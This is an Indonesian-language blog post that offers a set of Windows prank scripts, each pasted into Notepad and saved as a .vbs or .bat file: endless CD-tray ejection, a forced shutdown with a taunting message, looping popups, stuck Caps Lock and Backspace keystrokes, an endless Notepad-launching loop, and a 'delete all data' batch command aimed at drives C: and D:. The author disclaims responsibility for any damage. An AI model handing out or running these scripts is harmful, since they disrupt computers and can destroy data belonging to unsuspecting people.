===============================
Membuka Dan Menutup CD/DVD Komputer
1. Buka Notepad.2. Pastekan kode dibawah ini!.
Set oWMP = CreateObject(“WMPlayer.OCX.7″)3. Klik File >> Save As.
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
4. Berikan nama "PutuGiBagidvd.vbs" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Komputer Shutdown Dengan Muncul Pesan
1. Buka Notepad.2. Pastekan kode dibawah ini!.
@echo off3. Klik File >> Save As.
msg * Harap tenang komputer anda akan mati! Hahaha!
shutdown -s -c “Komputer anda mati. By PutuGiBagi"
4. Berikan nama "PutuGiBagishutdown.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Pesan Muncul Berulang - Ulang
1. Buka Notepad.2. Pastekan kode dibawah ini!.
@ECHO off3. Klik File >> Save As.
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda by putugibagi
GOTO BEGIN
4. Berikan nama "PutuGiBagipesan.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Tombol Capslock Terus Menyala
1. Buka Notepad.2. Pastekan kode dibawah ini!.
Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop3. Klik File >> Save As.
4. Berikan nama "PutuGiBagicapslock.vbs" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuat Terus – Menerus Menekan Tombol “BackSpace”
1. Buka Notepad.2. Pastekan kode dibawah ini!.
MsgBox “Kembali ke menu sebelumnya” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop3. Klik File >> Save As.
4. Berikan nama "PutuGiBagibackspace.vbs" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Membuka Program Aplikasi Notepad Terus – Menerus
1. Buka Notepad.2. Pastekan kode dibawah ini!.
@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top3. Klik File >> Save As.
4. Berikan nama "PutuGiBaginotepad.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
Menghapus semua Data Tanpa Terkecuali (Hati - Hati!)
1. Buka Notepad.2. Pastekan kode dibawah ini!.
DEL C: -Y DEL D: -Y3. Klik File >> Save As.
4. Berikan nama "PutuGiBagihapus.bat" (Tanpa Tanda Petik!).
5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".
6. Buka file tadi!.
===============================
CATATAN PENTING!1. Semua script di atas akan berjalan jika sobat klik Pada file yang sobat ingin jalankan.
2. Jika ada sesuatu yang terjadi jangan salahkan saya,karena saya hanya memberikan sedikit ilmu yang saya miliki.
No comments:
Post a Comment